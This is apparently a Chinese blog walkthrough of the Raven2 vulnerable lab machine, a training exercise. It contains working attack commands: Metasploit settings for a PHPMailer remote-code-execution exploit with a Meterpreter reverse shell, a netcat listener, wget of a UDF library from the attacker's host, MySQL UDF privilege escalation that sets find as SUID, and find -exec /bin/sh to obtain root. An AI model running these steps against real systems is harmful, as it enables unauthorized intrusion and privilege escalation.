Raven2靶机渗透

1. 信息收集

1.1 主机探测

sudo arp-scan -l

image-20231013144649685

1.2 端口扫描

nmap -p- -A 192.168.16.185

image-20231013144904319

开放了80端口,尝试登录网址查看信息,通过浏览器插件找出指纹

image-20231013145409811

image-20231013150539693

1.3 目录扫描

image-20231013151850420

访问登录界面,发现remember Me怀疑是shiro界面

image-20231013151957106

登录/vendor/界面,查看信息

image-20231013152735139

获得flag1和网站的绝对路径

image-20231013152812340

image-20231013153159320

image-20231013154015705

经查找发现PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

2. 漏洞利用

2.1 msfconsole

搜索漏洞

image-20231013161328136

使用可用目标0,查看需要设置什么

按照需求配置参数,先配置靶机的IP和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的IP是本机IP

	options
	set RHOSTS 192.168.16.185	  #靶机地址
	set TARGETURI /contact.php    #邮件功能页面
	set WEB_ROOT /var/www/html    #网站绝对路径
	set payload php/meterpreter/reverse_tcp	  #设置payload
	set LHOST 192.168.16.176     #kali地址
	run

image-20231013162530243

searchsploit phpmailer

image-20231013164007026

脚本需要进行一些修改,需要知道网站的绝对路径,能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径

image-20231013171509692

python3 ./40974.py

运行脚本后,使用攻击机监听4444端口

nc -lvvp 4444

访问http://192.168.16.185/dayu.php就会获得反弹shell

image-20231013172034005

image-20231013172023041

使用find命令搜索一下flag文件,得到flag2和flag3

find / -name *flag* 2>/dev/null

image-20231013172340223

获得交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

在网站根目录下查看数据库配置文件

cd /var/www/html/
ls
cd wordpress
ls
cat wp-config.php

image-20231013175127314

2.2 数据库UDF提权

登录数据库

user:root
password:R@v3nSecurity
mysql -uroot -pR@v3nSecurity

image-20231013175452909

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  • 从udf文件中引入自定义函数(user defined function)
  • 执行自定义函数

查看secure_file_prive

查看是否满足写入权限:secure_file_prive是否为空

show global variables like 'secur%';

image-20231013180030163


查看插件目录

show variables like '%plugin%';

image-20231013180755672

查看是否存在远程登录

use mysql
select user,host from user;

没有远程登录

image-20231013180958820

只允许本地登录,所以不能使用msf进行提权了,使用searchsploit查看漏洞脚本

searchsploit mysql udf

image-20231013185153962

找到提权的脚本,将1518移动到桌面并对c文件进行编译

编译命令

gcc -g -c /home/ycx/Desktop/1518.c
gcc -g -shared -o 1518.so 1518.o -lc

image-20231013190300636

image-20231013190658487

python开启http服务

python -m http.server 8888

靶机的shell终端进行文件下载
要在/tmp目录下载

cd /tmp
wget http://192.168.16.132:8888/1518.so

image-20231013191104703

再次登录数据库,并使用以下命令创建自定义函数

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

image-20231013192511615

在tmp目录下利用find命令执行whoami,发现当前权限是root权限;使用find命令获取root权限的shell

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

image-20231013193534264

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安咸鱼1517

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值